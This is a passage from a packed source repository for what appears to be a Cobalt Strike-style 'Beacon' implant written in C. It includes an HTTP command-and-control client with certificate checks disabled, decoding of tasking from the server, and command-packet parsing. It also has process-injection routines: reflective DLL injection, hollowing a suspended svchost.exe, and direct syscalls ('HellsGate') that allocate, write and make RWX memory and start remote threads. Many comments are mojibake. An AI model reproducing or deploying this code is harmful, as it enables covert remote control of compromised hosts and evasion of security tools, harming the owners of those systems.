implemented\n\tSystemRegisterFirmwareTableInformationHandler, // s (kernel-mode only)\n\tSystemFirmwareTableInformation, // not implemented\n\tSystemModuleInformationEx, // q: RTL_PROCESS_MODULE_INFORMATION_EX\n\tSystemVerifierTriageInformation, // not implemented\n\tSystemSuperfetchInformation, // q: SUPERFETCH_INFORMATION; s: SUPERFETCH_INFORMATION // PfQuerySuperfetchInformation\n\tSystemMemoryListInformation, // 80, q: SYSTEM_MEMORY_LIST_INFORMATION; s: SYSTEM_MEMORY_LIST_COMMAND (requires SeProfileSingleProcessPrivilege)\n\tSystemFileCacheInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (same as SystemFileCacheInformation)\n\tSystemThreadPriorityClientIdInformation, // s: SYSTEM_THREAD_CID_PRIORITY_INFORMATION (requires SeIncreaseBasePriorityPrivilege)\n\tSystemProcessorIdleCycleTimeInformation, // q: SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION[]\n\tSystemVerifierCancellationInformation, // not implemented // name:wow64:whNT32QuerySystemVerifierCancellationInformation\n\tSystemProcessorPowerInformationEx, // not implemented\n\tSystemRefTraceInformation, // q; s // ObQueryRefTraceInformation\n\tSystemSpecialPoolInformation, // q; s (requires SeDebugPrivilege) // MmSpecialPoolTag, then MmSpecialPoolCatchOverruns != 0\n\tSystemProcessIdInformation, // q: SYSTEM_PROCESS_ID_INFORMATION\n\tSystemErrorPortInformation, // s (requires SeTcbPrivilege)\n\tSystemBootEnvironmentInformation, // 90, q: SYSTEM_BOOT_ENVIRONMENT_INFORMATION\n\tSystemHypervisorInformation, // q; s (kernel-mode only)\n\tSystemVerifierInformationEx, // q; s\n\tSystemTimeZoneInformation, // s (requires SeTimeZonePrivilege)\n\tSystemImageFileExecutionOptionsInformation, // s: SYSTEM_IMAGE_FILE_EXECUTION_OPTIONS_INFORMATION (requires SeTcbPrivilege)\n\tSystemCoverageInformation, // q; s // name:wow64:whNT32QuerySystemCoverageInformation; ExpCovQueryInformation\n\tSystemPrefetchPatchInformation, // not implemented\n\tSystemVerifierFaultsInformation, // s (requires SeDebugPrivilege)\n\tSystemSystemPartitionInformation, // q: SYSTEM_SYSTEM_PARTITION_INFORMATION\n\tSystemSystemDiskInformation, // q: SYSTEM_SYSTEM_DISK_INFORMATION\n\tSystemProcessorPerformanceDistribution, // 100, q: SYSTEM_PROCESSOR_PERFORMANCE_DISTRIBUTION\n\tSystemNumaProximityNodeInformation, // q\n\tSystemDynamicTimeZoneInformation, // q; s (requires SeTimeZonePrivilege)\n\tSystemCodeIntegrityInformation, // q // SeCodeIntegrityQueryInformation\n\tSystemProcessorMicrocodeUpdateInformation, // s\n\tSystemProcessorBrandString, // q // HaliQuerySystemInformation -> HalpGetProcessorBrandString, info class 23\n\tSystemVirtualAddressInformation, // q: SYSTEM_VA_LIST_INFORMATION[]; s: SYSTEM_VA_LIST_INFORMATION[] (requires SeIncreaseQuotaPrivilege) // MmQuerySystemVaInformation\n\tSystemLogicalProcessorAndGroupInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION_EX // since WIN7 // KeQueryLogicalProcessorRelationship\n\tSystemProcessorCycleTimeInformation, // q: SYSTEM_PROCESSOR_CYCLE_TIME_INFORMATION[]\n\tSystemStoreInformation, // q; s // SmQueryStoreInformation\n\tSystemRegistryAppendString, // 110, s: SYSTEM_REGISTRY_APPEND_STRING_PARAMETERS\n\tSystemAitSamplingValue, // s: ULONG (requires SeProfileSingleProcessPrivilege)\n\tSystemVhdBootInformation, // q: SYSTEM_VHD_BOOT_INFORMATION\n\tSystemCpuQuotaInformation, // q; s // PsQueryCpuQuotaInformation\n\tSystemNativeBasicInformation, // not implemented\n\tSystemSpare1, // not implemented\n\tSystemLowPriorityIoInformation, // q: SYSTEM_LOW_PRIORITY_IO_INFORMATION\n\tSystemTpmBootEntropyInformation, // q: TPM_BOOT_ENTROPY_NT_RESULT // ExQueryTpmBootEntropyInformation\n\tSystemVerifierCountersInformation, // q: SYSTEM_VERIFIER_COUNTERS_INFORMATION\n\tSystemPagedPoolInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypePagedPool)\n\tSystemSystemPtesInformationEx, // 120, q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypeSystemPtes)\n\tSystemNodeDistanceInformation, // q\n\tSystemAcpiAuditInformation, // q: SYSTEM_ACPI_AUDIT_INFORMATION // HaliQuerySystemInformation -> HalpAuditQueryResults, info class 26\n\tSystemBasicPerformanceInformation, // q: SYSTEM_BASIC_PERFORMANCE_INFORMATION // name:wow64:whNtQuerySystemInformation_SystemBasicPerformanceInformation\n\tSystemQueryPerformanceCounterInformation, // q: SYSTEM_QUERY_PERFORMANCE_COUNTER_INFORMATION // since WIN7 SP1\n\tSystemSessionBigPoolInformation, // since WIN8\n\tSystemBootGraphicsInformation,\n\tSystemScrubPhysicalMemoryInformation,\n\tSystemBadPageInformation,\n\tSystemProcessorProfileControlArea,\n\tSystemCombinePhysicalMemoryInformation, // 130\n\tSystemEntropyInterruptTimingCallback,\n\tSystemConsoleInformation,\n\tSystemPlatformBinaryInformation,\n\tSystemThrottleNotificationInformation,\n\tSystemHypervisorProcessorCountInformation,\n\tSystemDeviceDataInformation,\n\tSystemDeviceDataEnumerationInformation,\n\tSystemMemoryTopologyInformation,\n\tSystemMemoryChannelInformation,\n\tSystemBootLogoInformation, // 140\n\tSystemProcessorPerformanceInformationEx, // q: SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION_EX // since WINBLUE\n\tSystemSpare0,\n\tSystemSecureBootPolicyInformation,\n\tSystemPageFileInformationEx, // q: SYSTEM_PAGEFILE_INFORMATION_EX\n\tSystemSecureBootInformation,\n\tSystemEntropyInterruptTimingRawInformation,\n\tSystemPortableWorkspaceEfiLauncherInformation,\n\tSystemFullProcessInformation, // q: SYSTEM_PROCESS_INFORMATION with SYSTEM_PROCESS_INFORMATION_EXTENSION (requires admin)\n\tSystemKernelDebuggerInformationEx, // q: SYSTEM_KERNEL_DEBUGGER_INFORMATION_EX\n\tSystemBootMetadataInformation, // 150\n\tSystemSoftRebootInformation,\n\tSystemElamCertificateInformation,\n\tSystemOfflineDumpConfigInformation,\n\tSystemProcessorFeaturesInformation, // q: SYSTEM_PROCESSOR_FEATURES_INFORMATION\n\tSystemRegistryReconciliationInformation,\n\tSystemEdidInformation,\n\tSystemManufacturingInformation, // q: SYSTEM_MANUFACTURING_INFORMATION // since THRESHOLD\n\tSystemEnergyEstimationConfigInformation, // q: SYSTEM_ENERGY_ESTIMATION_CONFIG_INFORMATION\n\tSystemHypervisorDetailInformation, // q: SYSTEM_HYPERVISOR_DETAIL_INFORMATION\n\tSystemProcessorCycleStatsInformation, // q: SYSTEM_PROCESSOR_CYCLE_STATS_INFORMATION // 160\n\tSystemVmGenerationCountInformation,\n\tSystemTrustedPlatformModuleInformation, // q: SYSTEM_TPM_INFORMATION\n\tSystemKernelDebuggerFlags,\n\tSystemCodeIntegrityPolicyInformation,\n\tSystemIsolatedUserModeInformation,\n\tSystemHardwareSecurityTestInterfaceResultsInformation,\n\tSystemSingleModuleInformation, // q: SYSTEM_SINGLE_MODULE_INFORMATION\n\tSystemAllowedCpuSetsInformation,\n\tSystemDmaProtectionInformation,\n\tSystemInterruptCpuSetsInformation,\n\tSystemSecureBootPolicyFullInformation,\n\tSystemCodeIntegrityPolicyFullInformation,\n\tSystemAffinitizedInterruptProcessorInformation,\n\tSystemRootSiloInformation, // q: SYSTEM_ROOT_SILO_INFORMATION\n\tMaxSystemInfoClass\n} SYSTEM_INFORMATION_CLASS;"
  },
  {
    "path": "Beacon/Http.c",
    "content": "#include \"Http.h\"\n#include \"Config.h\"\n#include \"Util.h\"\n\n#define MAX_HEADER_SIZE 1024\n\n//typedef struct {\n//    size_t respsize;\n//    char* resqresult;\n//}perform_requestresult;\n\n// ڴHTTPӦ\nsize_t write_callback(void* ptr, size_t size, size_t nmemb, void* userdata) {\n    size_t real_size = size * nmemb;\n    perform_requestresult* mem = (perform_requestresult*)userdata;\n\n    mem->resqresult = realloc(mem->resqresult, mem->respsize + real_size + 1);\n    if (mem->resqresult == NULL) {\n        printf(\"Failed to allocate memory\\n\");\n        return 0;\n    }\n\n    memcpy(&(mem->resqresult[mem->respsize]), ptr, real_size);\n    mem->respsize += real_size;\n    mem->resqresult[mem->respsize] = 0;\n\n    return real_size;\n}\n\nperform_requestresult perform_post_request(unsigned char* url, struct curl_slist* headers, const char* postData) {\n    CURL* curl;\n    CURLcode res;\n\n    // ʼCURL\n    curl = curl_easy_init();\n    if (!curl) {\n        fprintf(stderr, \"Failed to initialize curl\\n\");\n        exit(EXIT_FAILURE);\n    }\n\n    perform_requestresult chunk;\n    chunk.resqresult = malloc(1);\n    if (chunk.resqresult == NULL) {\n        fprintf(stderr, \"Failed to allocate memory\\n\");\n        curl_easy_cleanup(curl);\n        exit(EXIT_FAILURE);\n    }\n    chunk.respsize = 0;\n\n\n\n    // ͷӵCURL\n    curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);\n    // URL\n    curl_easy_setopt(curl, CURLOPT_URL, url);\n    // POST\n    curl_easy_setopt(curl, CURLOPT_POST, 1L);\n    // POST\n    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);\n    // Ӧݴص\n    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback);\n    //  received_size Ϊ CURLOPT_WRITEDATA Ĳ\n    curl_easy_setopt(curl, CURLOPT_WRITEDATA, (void*)&chunk);\n    //url_easy_setopt(curl, CURLOPT_PROXY, \"192.168.203.111:111\");\n    // öĿ֤֤\n    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);\n\n    //鿴ϸ\n    //curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);\n\n    while (1) {\n        res = curl_easy_perform(curl);\n        if (res != CURLE_OK) {\n            printf(\"\\nCONNECT HTTP Error\\n\");\n            Sleep(1000);\n        }\n        else {\n            chunk.code = (int)res;\n            curl_easy_cleanup(curl);\n            return chunk;\n        }\n    }\n}\n\n// ִHTTP GET󣬲ͷ\nperform_requestresult perform_get_request(unsigned char* url, struct curl_slist* headers) {\n    CURL* curl;\n    CURLcode res;\n\n    // ʼCURL\n    curl = curl_easy_init();\n    if (!curl) {\n        fprintf(stderr, \"Failed to initialize curl\\n\");\n        exit;\n    }\n    perform_requestresult chunk;\n    chunk.resqresult = malloc(1);\n    if (chunk.resqresult == NULL) {\n        fprintf(stderr, \"Failed to allocate memory\\n\");\n        curl_easy_cleanup(curl);\n        exit(EXIT_FAILURE);\n    }\n    chunk.respsize = 0;\n    // ͷӵCURL\n    curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);\n    // URL\n    curl_easy_setopt(curl, CURLOPT_URL, url);\n    // Ӧݴص\n    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback);\n    //  received_size Ϊ CURLOPT_WRITEDATA Ĳ\n    curl_easy_setopt(curl, CURLOPT_WRITEDATA, (void*)&chunk);\n    // ִHTTP GET\n    //curl_easy_setopt(curl, CURLOPT_PROXY, \"192.168.203.111:111\");\n    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);\n    while (1) {\n        res = curl_easy_perform(curl);\n        if (res != CURLE_OK) {\n            printf(\"\\nCONNECT HTTP Error\\n\");\n            Sleep(1000);\n        }\n        else\n        {\n            chunk.code = (int)res;\n            curl_easy_cleanup(curl);\n            return chunk;\n\n        }\n    \n    }\n}\n\nchar* removePrefixAndSuffix(unsigned char* data, unsigned char* prefix, unsigned char* suffix) {\n    size_t prefixLen = strlen(prefix);\n    size_t suffixLen = strlen(suffix);\n    size_t dataLen = strlen(data);\n    \n\n\n    if (strncmp(data, prefix, prefixLen) == 0 &&\n        strncmp(data + (dataLen - suffixLen), suffix, suffixLen) == 0) {\n        data[dataLen - suffixLen] = '\\0';\n        return data + prefixLen;\n    }\n\n    return data; // Return original data if prefix/suffix not found\n}\n\nunsigned char* parseGetResponse(unsigned char* data, size_t dataSize ,size_t* responsedatalen) {\n    //printf(\"\\n parseGetResponse %s \\n \", data);\n    data = removePrefixAndSuffix(data, Response_prepend, Response_append);\n    \n   /* printf(\"\\n parseGetResponse %s \\n \", data);\n    printf(\"EncryMetadata Encrypted data (hex)1111111: %d \\n\" , strlen(data));\n    for (int i = 0; i < strlen(data); ++i) {\n    printf(\"%d, \", data[i]);\n    }\n    printf(\"\\n\");*/\n    //int data_length = strlen(data);\n    int data_length = strlen(data);\n    unsigned char netbiosKey = 'a'; // Replace 'a' with your desired key\n    size_t NetbiosDecodedatalen;\n    unsigned char* NetbiosDecodedata = NetbiosDecode((unsigned char*)data, data_length, netbiosKey ,&NetbiosDecodedatalen);\n    //printf(\"NetbiosDecodedata222222222: %d  \\n\", NetbiosDecodedatalen);\n    //for (int i = 0; i < NetbiosDecodedatalen; ++i) {\n    //    printf(\"%d, \", NetbiosDecodedata[i]); // Ӧ޸Ϊӡݣ data[i] -> NetbiosDecode Ľ\n    //}\n    //printf(\"\\n\");\n    // Printing the result after NetbiosDecode\n    //printf(\"After NetbiosDecode22222222: %s\", data);\n    printf(\"\\n\");\n    unsigned char* first = \"1234\";\n    if (NetbiosDecodedatalen < 5) {\n        *responsedatalen = 4;\n        return first;\n        free(NetbiosDecodedata);\n    }\n    // MaskDecode: Perform the MaskDecode operation after NetbiosDecode\n    unsigned char key[] = { NetbiosDecodedata[0], NetbiosDecodedata[1], NetbiosDecodedata[2], NetbiosDecodedata[3] }; // Extract first 4 bytes as key\n    int key_length = sizeof(key) / sizeof(key[0]);\n    size_t MaskDecodedatalen = NetbiosDecodedatalen - 4;\n    unsigned char* MaskDecodedata= MaskDecode((unsigned char*)&NetbiosDecodedata[4], MaskDecodedatalen, key, key_length);\n    printf(\"EncryMetadata Encrypted data (hex)333333: %d  \\n\", MaskDecodedatalen);\n    /*for (int i = 0; i < MaskDecodedatalen; ++i) {\n        printf(\"%d, \", MaskDecodedata[i]);\n    }\n    printf(\"\\n\");\n    for (int i = 0; i < MaskDecodedatalen; ++i) {\n        printf(\"%d, \", MaskDecodedata[i]);\n    }\n    printf(\"\\n\");*/\n    // Printing the final result after MaskDecode\n    //printf(\"After MaskDecode: %s\\n\", MaskDecodedata);\n    *responsedatalen = MaskDecodedatalen;\n    return MaskDecodedata;\n    free(NetbiosDecodedata);\n    free(MaskDecodedata);\n}\n\n\nunsigned char* parsePacket(unsigned char* decryptedBuf, uint32_t* totalLen, uint32_t* commandType ,size_t* commandBuflen , size_t* jia, int* jiaci) {\n    unsigned char* decryptedBuf1;\n    if (*jia > 0) {\n\n        decryptedBuf1 = decryptedBuf + (int)*jia + *jiaci * 8;\n        *jiaci += 1;\n    }\n    else\n    {\n        decryptedBuf1 = decryptedBuf;\n    }\n    uint8_t commandTypeBytes[4];\n    unsigned char* commandTypeBytesStart = decryptedBuf1;\n    memcpy(&commandTypeBytes, commandTypeBytesStart, 4);\n    *commandType = bigEndianUint32(commandTypeBytes);\n  /*  printf(\"\\ncommandTypeBytes   \\n\");\n    for (int i = 0; i < sizeof(commandTypeBytes); i++) {\n        printf(\"%d \", commandTypeBytes[i]);\n    }*/\n\n\n    uint8_t commandLenBytes[4];\n    unsigned char* commandLenBytessStart = decryptedBuf1 + 4;\n    memcpy(&commandLenBytes, commandLenBytessStart, 4);\n    uint32_t commandLen = bigEndianUint32(commandLenBytes);\n   /* printf(\"\\n commandLenBytes   %d\\n \",sizeof(commandLenBytes));\n    for (int i = 0; i < sizeof(commandLenBytes); i++) {\n        printf(\"%d \", commandLenBytes[i]);\n    }*/\n    //unsigned char* commanddata = (unsigned char*)malloc(len * sizeof(uint8_t));\n    unsigned char* commandBuf = (unsigned char*)malloc(commandLen);\n    unsigned char* commandBufStart = decryptedBuf1 + 8;\n    memcpy(commandBuf, commandBufStart, commandLen);\n   /* printf(\"\\n commanddata   %d\\n\",commandLen);\n    for (int i = 0; i < commandLen; i++) {\n        printf(\"%d \", commandBuf[i]);\n    }*/\n    // ģӻжȡ Command Length\n    //  totalLen\n    \n    *totalLen = *totalLen - (4 + 4 + commandLen);\n    *commandBuflen = commandLen;\n    *jia = *jia+ commandLen;\n    return commandBuf;\n    free(commandTypeBytesStart);\n    free(commandLenBytessStart);\n    free(commandBuf);\n    free(commandBufStart);\n}\n"
  },
  {
    "path": "Beacon/Http.h",
    "content": "#pragma once\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <curl/curl.h>\n\ntypedef struct {\n    size_t respsize;\n    unsigned char* resqresult;\n    int code;\n}perform_requestresult;\n\nperform_requestresult perform_get_request(unsigned char* url, struct curl_slist* headers);\nunsigned char* parseGetResponse(unsigned char* data, size_t dataSize, size_t* responsedatalen);\nunsigned char* parsePacket(unsigned char* decryptedBuf, uint32_t* totalLen, uint32_t* commandType, size_t* commandBuflen , size_t* jia,int* jiaci);\nperform_requestresult perform_post_request(unsigned char* url, struct curl_slist* headers, const char* postData);"
  },
  {
    "path": "Beacon/InjectProcess.c",
    "content": "#include \"Util.h\"\n#include \"Command.h\"\n#include \"Job.h\"\n#include \"GuangMing.h\"\ntypedef struct\n{\n    HANDLE hProcess;\n    HANDLE hThread;\n    DWORD Process_PID;\n    BOOL is_process_arch;\n    BOOL Flag_FALSE;\n    BOOL is_system_process;\n    BOOL is_Process_self;\n    BOOL ishThread;\n}BeaconProcessInject;\n/// <summary>\n/// ʼעеһЩ\n/// </summary>\n/// <param name=\"payload\"></param>\n/// <param name=\"pBeaconProcessInject\"></param>\n/// <param name=\"p_len\"></param>\n\nBOOL sub_100054CC(char* payload, int p_len)\n{\n    return p_len >= 51200 && *(WORD*)payload == 'ZM' && *((DWORD*)payload + 255) == 0xF4F4F4F4;\n}\n/// <summary>\n/// ʼBeaconProcessInject\n/// </summary>\n/// <param name=\"hProcess\"></param>\n/// <param name=\"pi\"></param>\n/// <param name=\"pid\"></param>\n/// <param name=\"pBeaconProcessInject\"></param>\nvoid sub_10004B81(HANDLE hProcess, PROCESS_INFORMATION* pi, int pid, BeaconProcessInject* pBeaconProcessInject)\n{\n    pBeaconProcessInject->hProcess = hProcess;\n    pBeaconProcessInject->Process_PID = pid;\n    pBeaconProcessInject->Flag_FALSE = 1;\n    int v5 =1;\n    int v6 = v5 == pBeaconProcessInject->Flag_FALSE;\n    pBeaconProcessInject->is_process_arch = v5;\n    pBeaconProcessInject->is_system_process = v6;\n    pBeaconProcessInject->is_Process_self = pid == GetCurrentProcessId();\n    if (pi)\n    {\n        pBeaconProcessInject->ishThread = 1;\n        pBeaconProcessInject->hThread = pi->hThread;\n    }\n    else\n    {\n        pBeaconProcessInject->ishThread = 0;\n        pBeaconProcessInject->hThread = 0;\n    }\n}\n\n\ntypedef NTSTATUS(NTAPI* NtMapViewOfSection_t)(\n    HANDLE sectionHandle,\n    HANDLE processHandle,\n    PVOID* baseAddress,\n    ULONG_PTR zeroBits,\n    SIZE_T commitSize,\n    PLARGE_INTEGER sectionOffset,\n    PSIZE_T viewSize,\n    ULONG inheritDisposition,\n    ULONG allocationType,\n    ULONG win32Protect);\n\n\n/// <summary>\n/// ڴ\n/// </summary>\n/// <param name=\"ProcessHandle\"></param>\n/// <param name=\"payload\"></param>\n/// <param name=\"Size\"></param>\n/// <returns></returns>\n\n\nchar* VirtualProtecAddress(size_t payload_size, BeaconProcessInject* pBeaconProcessInject, char* payload)\n{\n    // Զڴķʽ VirtualAllocEx or NtMapViewOfSection\n   /* if (pBeaconProcessInject->is_system_process)\n    {*/\n        \n    SIZE_T  min_alloc = 1356;\n    if (payload_size > min_alloc)\n    {\n        min_alloc = payload_size;\n    }\n    //LPVOID payloadaddr = RWXaddress();\n    char* payloadaddr = 0;\n    ULONG size = 1 << 18;\n    SIZE_T buffSize1 = (SIZE_T)min_alloc;\n    char* NtAllocateVirtualMemoryEx = \"NtAllocateVirtualMemoryEx\";\n    DWORD SyscallNumber = GetSyscallNumber(NtAllocateVirtualMemoryEx,26);\n    HellsGate(SyscallNumber);\n    HellDescent(pBeaconProcessInject->hProcess, &payloadaddr, &buffSize1, MEM_COMMIT | MEM_RESERVE , PAGE_READWRITE ,NULL,0  );\n    //char* payloadaddr = (char*)VirtualAllocEx(pBeaconProcessInject->hProcess, 0, min_alloc, 0x3000u, PAGE_READWRITE);\n    //char* payloadaddr = (char*)payloadaddr;\n    if (!payloadaddr)\n    {\n        BeaconErrorDD(0x1Fu, min_alloc, GetLastError());\n        return 0;\n    }\n    int NumberBytes = 0;\n    SIZE_T NumberOfBytesWritten = 0;\n    ULONG flOldProtect = 0;\n        \n    if (payload_size > 0)\n    {\n        //NtWriteVirtualMemory\n        char* NtWriteVirtualMemory = \"NtWriteVirtualMemory\";\n        DWORD SyscallNumber = GetSyscallNumber(NtWriteVirtualMemory, 21);\n        HellsGate(SyscallNumber);\n           \n        while (HellDescent(pBeaconProcessInject->hProcess, &payloadaddr[NumberBytes], &payload[NumberBytes], payload_size - NumberBytes, &NumberOfBytesWritten)==0)\n        {\n            NumberBytes += NumberOfBytesWritten;\n            if (!NumberOfBytesWritten)\n            {\n                return 0;\n            }\n            if (NumberBytes >= payload_size)\n            {\n                //int userwx = get_short(44);\n                    char* NtProtectVirtualMemory = \"NtProtectVirtualMemory\";\n                    DWORD SyscallNumber = GetSyscallNumber(NtProtectVirtualMemory, 23);\n                    HellsGate(SyscallNumber);\n                    //NTSTATUS status = HellDescent(pBeaconProcessInject->hProcess, (PVOID*)&payloadaddr, &min_alloc, PAGE_EXECUTE_READWRITE, &flOldProtect);\n                    if (HellDescent(pBeaconProcessInject->hProcess, (PVOID*)&payloadaddr, &min_alloc, PAGE_EXECUTE_READWRITE, &flOldProtect))\n                    {\n                        BeaconErrorD(0x11u, GetLastError());\n                        return 0;\n                    }\n                    \n                return payloadaddr;\n            }\n        }\n        BeaconErrorD(0x10, GetLastError());\n        return 0;\n    }\n   \n       \n    //}\n    //else\n    //{\n    //    //result = sub_10005120(pBeaconProcessInject->hProcess, payload, payload_size);\n    //    PVOID BaseAddress = 0;\n    //    ULONG_PTR ViewSize = 0;\n    //    int min_alloc = 16384;//.process-inject.min_alloc\n    //    if (payload_size > min_alloc)\n    //    {\n    //        min_alloc = payload_size;\n    //    }\n    //   /* HMODULE ntdllbase = GetModuleHandleA(\"ntdll.dll\");\n    //    NtMapViewOfSection_t NtMapViewOfSection = (NtMapViewOfSection_t)GetProcAddress(ntdllbase, \"NtMapViewOfSection\");\n    //    if (!NtMapViewOfSection)\n    //    {\n    //        return 0;\n    //    }*/\n    //    HANDLE FileMappingA = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, min_alloc, 0);\n    //    if (FileMappingA != (HANDLE)-1)\n    //    {\n    //        PVOID payloadaddr = MapViewOfFile(FileMappingA, FILE_MAP_ALL_ACCESS, 0, 0, 0);\n    //        if (payloadaddr)\n    //        {\n    //            memcpy(payloadaddr, payload, payload_size);\n    //            //int userwx = get_short(44); //.process-inject.userwx\n    //            NtMapViewOfSection(FileMappingA, pBeaconProcessInject->hProcess, &BaseAddress, 0, 0, 0, &ViewSize, 1, 0, PAGE_READWRITE);\n    //            UnmapViewOfFile(payloadaddr);\n    //        }\n    //        CloseHandle(FileMappingA);\n    //    }\n    //    if (!BaseAddress)\n    //    {\n    //        BeaconErrorD(0x49u, GetLastError());\n    //    }\n    //    return BaseAddress;\n    //}\n    /*return result;*/\n}\n\nBOOL BeaconCreateRemoteThread(HANDLE hProcess, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter)\n{\n    return CreateRemoteThread(hProcess, 0, 0, lpStartAddress, lpParameter, 0, 0) != 0;\n}\n\nvoid BeaconReflectiveDLLInject(char* commandBuf, int lenn) {\n    uint8_t pidd[4];\n    uint8_t p_offsett[4];\n    unsigned char* pendingRequeststart = commandBuf;\n    unsigned char* dirPathLenBytesstart = commandBuf + 4;\n    memcpy(pidd, pendingRequeststart, 4);\n    memcpy(p_offsett, dirPathLenBytesstart, 4);\n    DWORD pid = bigEndianUint32(pidd);\n    int p_offset = bigEndianUint32(p_offsett);\n    HANDLE hProcess = OpenProcess(1082u, 0, pid);\n    int arch = Is_Wow64(hProcess);\n\n    /*datap pdatap;\n    BeaconDataParse(&pdatap, commandBuf, lenn);*/\n    \n\n    if (!arch == 1) {\n        ProcessInject(pid, 0, hProcess, commandBuf+8, lenn, p_offset, 0, 0);\n        CloseHandle(hProcess);\n        return;\n    }\n    else\n    {\n        int Bufflen = 23;\n        unsigned char result[23] = \"process is x86 not X64\";\n        unsigned char* resultmemmory = (unsigned char*)malloc(31);\n        memcpy(resultmemmory, result, 31);\n        DataProcess(resultmemmory, Bufflen, 0);\n        return;\n    }\n\n    /*unsigned char* dirPathBytes = (unsigned char*)malloc(dirPathLen);\n    unsigned char* dirPathBytesstart = commandBuf + 8;\n    memcpy(dirPathBytes, dirPathBytesstart, dirPathLen);\n    dirPathBytes[dirPathLen] = '\\0';*/\n\n\n}\n\nvoid BeaconSpawn(char* payload, int payloadsize) {\n\n    HANDLE hReadPipe = NULL;\n    HANDLE hWritePipe = NULL;\n    SECURITY_ATTRIBUTES securityAttributes = { 0 };\n    STARTUPINFO si = { 0 };\n    PROCESS_INFORMATION pi = { 0 };\n    CreatePipeJob Createpipe = createjob();\n    hReadPipe = Createpipe.hReadPipe;\n    si = Createpipe.si;\n    //ProcessInject(GetCurrentProcessId(), &pi, GetCurrentProcess(), payload, payloadsize, p_offset, arg, a_len);\n\n    //ע뵽\n    if (BeaconSpawnTemporaryProcess(1, 1, &si, &pi))\n    {\n        Sleep(0x64u);\n        ProcessInject(pi.dwProcessId, &pi, pi.hProcess, payload, payloadsize, 0, 0, 0);\n        CloseHandle(pi.hThread);\n        CloseHandle(pi.hProcess);\n        CloseHandle(hWritePipe);\n        CloseHandle(hReadPipe);\n      \n\n    }\n}\n\n\nint BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFOA* sInfo, PROCESS_INFORMATION* pInfo) {\n\n    if (!CreateProcessA(\n        NULL,\n        \"c:\\\\windows\\\\system32\\\\svchost.exe\",\n        NULL,\n        NULL,\n        TRUE,\n        0x44u,\n        NULL,\n        NULL,\n        sInfo,\n        pInfo))\n    {\n        int LastError = GetLastError();\n\n        return 0;\n    }\n\n}\nint Inject(BeaconProcessInject* pBeaconProcessInject, int prepended_data_size, char* BaseAddress, LPVOID lpParameter , size_t* payloadsize)\n{\n    DWORD flOldProtect = 0;\n    char* NtProtectVirtualMemory = \"NtProtectVirtualMemory\";\n    DWORD SyscallNumber = GetSyscallNumber(NtProtectVirtualMemory, 23);\n    HellsGate(SyscallNumber);\n    //HellDescent(pBeaconProcessInject->hProcess, &payloadaddr, &buffSize1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, NULL, 0);\n    if (HellDescent(pBeaconProcessInject->hProcess, (PVOID*)&BaseAddress, payloadsize, PAGE_EXECUTE_READWRITE, &flOldProtect))\n    {\n        BeaconErrorD(0x11u, GetLastError());\n        \n    }\n    //CreateRemoteThread(pBeaconProcessInject->hProcess, 0, 0, (LPTHREAD_START_ROUTINE)&BaseAddress[prepended_data_size], lpParameter, 0, 0);\n\n    PHANDLE  hThread;\n    char* NtCreateThreadEx = \"NtCreateThreadEx\";\n    DWORD NtCreateThreadExNumber = GetSyscallNumber(NtCreateThreadEx, 17);\n    HellsGate(NtCreateThreadExNumber);\n    // NtCreateThreadEx\n    NTSTATUS status = HellDescent(\n        &hThread,\n        THREAD_ALL_ACCESS,\n        NULL,\n        pBeaconProcessInject->hProcess,\n        (LPTHREAD_START_ROUTINE)&BaseAddress[prepended_data_size],\n        (PVOID)lpParameter,\n        FALSE, NULL, NULL, NULL, NULL);\n\n}\n\nchar* InjectMe(size_t payload_size, char* payload)\n{\n\n    SIZE_T min_alloc = 45;\n    if (payload_size > min_alloc)\n    {\n        min_alloc = payload_size + 1024;\n    }\n  \n    //char* payloadAddress = (char*)RWXaddress();\n    char* NtAllocateVirtualMemory = \"NtAllocateVirtualMemory\";\n    DWORD SyscallNumber = GetSyscallNumber(NtAllocateVirtualMemory, 24);\n    HellsGate(SyscallNumber);\n    HANDLE hProcess = GetCurrentProcess();\n\n    // ڴʼַ\n    PVOID payloadAddress = NULL;\n\n    // ڴı\n    ULONG Protect = PAGE_READWRITE;\n    HellDescent(hProcess, &payloadAddress, 0, &min_alloc, MEM_COMMIT | MEM_RESERVE, Protect);\n\n    //char* payloadAddress = (char*)VirtualAlloc(0, min_alloc, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);\n    if (payloadAddress)\n    {\n        memcpy(payloadAddress, payload, payload_size);\n        return payloadAddress;\n        //return CheckMemoryRWX(payloadAddress, min_alloc) != 0 ? payloadAddress : 0;\n    }\n    else\n    {\n        BeaconErrorDD(0x1F, min_alloc, GetLastError());\n        return 0;\n    }\n}\n\nvoid InjectComply(size_t payload_size, BeaconProcessInject* pBeaconProcessInject, int prepended_data_size, char* payload, LPVOID lpParameter)\n{\n    char* BaseAddress;\n    if (pBeaconProcessInject->is_Process_self)\n    {\n        BaseAddress = (char*)InjectMe(payload_size, payload);// עaddress\n    }\n    else\n    {\n        BaseAddress = VirtualProtecAddress(payload_size, pBeaconProcessInject, payload);// עԶ̽address\n        \n    }\n    if (BaseAddress)\n    {\n        if (!Inject(pBeaconProcessInject, prepended_data_size, BaseAddress, lpParameter, &payload_size))// ע\n        {\n            BeaconErrorDD(0x48u, 